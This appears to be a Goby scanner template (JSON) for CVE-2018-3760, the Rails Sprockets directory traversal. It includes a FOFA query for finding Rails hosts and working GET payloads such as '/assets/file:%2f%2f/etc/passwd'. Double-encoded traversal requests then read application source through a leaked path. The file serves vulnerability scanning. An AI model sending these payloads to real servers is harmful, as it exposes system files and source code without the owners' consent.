{
  "Name": "Rails Asset Pipeline Directory Traversal (CVE-2018-3760)",
  "Description": "There is an information leak vulnerability in Sprockets. Versions Affected: 4.0.0.beta7 and lower, 3.7.1 and lower, 2.12.4 and lower. Specially crafted requests can be used to access files that exists on the filesystem that is outside an application's root directory, when the Sprockets server is used in production. All users running an affected release should either upgrade or use one of the work arounds immediately.",
  "Product": "Ruby-on-Rails",
  "Homepage": "http://rubyonrails.org",
  "DisclosureDate": "2018-06-26",
  "Author": "mahui@gobies.org",
  "FofaQuery": "app=\"Ruby-on-Rails\" && title!=\"GitLab\"",
  "GobyQuery": "",
  "Level": "2",
  "Impact": "<p>泄露源码、数据库配置文件等等，导致网站处于极度不安全状态。</p>",
  "Recommendation": "<p>1、限定目录。</p><p>2、白名单限定可读取路径。</p>",
  "References": [
    "https://access.redhat.com/errata/RHSA-2018:2244",
    "https://access.redhat.com/errata/RHSA-2018:2245",
    "https://access.redhat.com/errata/RHSA-2018:2561",
    "https://access.redhat.com/errata/RHSA-2018:2745",
    "https://github.com/rails/sprockets/commit/c09131cf5b2c479263939c8582e22b98ed616c5f",
    "https://github.com/rails/sprockets/commit/9c34fa05900b968d74f08ccf40917848a7be9441",
    "https://github.com/rails/sprockets/commit/18b8a7f07a50c245e9aee7854ecdbe606bbd8bb5",
    "https://www.debian.org/security/2018/dsa-4242",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-3760",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3760"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "os",
      "type": "select",
      "value": "linux,windows",
      "show": ""
    },
    {
      "name": "file",
      "type": "input",
      "value": "Windows/win.ini",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/assets/file:%2f%2f/etc/passwd"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "FileOutsidePaths1111",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
	  "SetVariable": [
         "RailsConfigPathlinux|lastbody|regex|is no longer under a load path: (.*?),"
      ]
    },
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/assets/file:%2f%2f/{{{RailsConfigPathlinux}}}/%252e%252e%2f%252e%252e%2fhelpers/application_helper.rb"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "module ApplicationHelper",
            "variable": "$body"
          }
        ], 
        "operation": "AND",
        "type": "group"
      },
	  "SetVariable": []
    },
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/assets/file:%2f%2f/Windows/win.ini"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "FileOutsidePaths1111",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
	  "SetVariable": [
         "RailsConfigPathwindows|lastbody|regex|is no longer under a load path: (.*?),"
      ]
    },
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/assets/file:%2f%2f/{{{RailsConfigPathwindows}}}/%252e%252e%2f%252e%252e%2fhelpers/application_helper.rb"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "module ApplicationHelper",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
	  "SetVariable": []
    }
  ],
  "ExploitSteps": null,
  "Tags": ["fileread"],
  "CVEIDs": [
    "CVE-2018-3760"
  ],
  "CVSSScore": "7.5",
  "AttackSurfaces": {
    "Application": ["Ruby-on-Rails"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}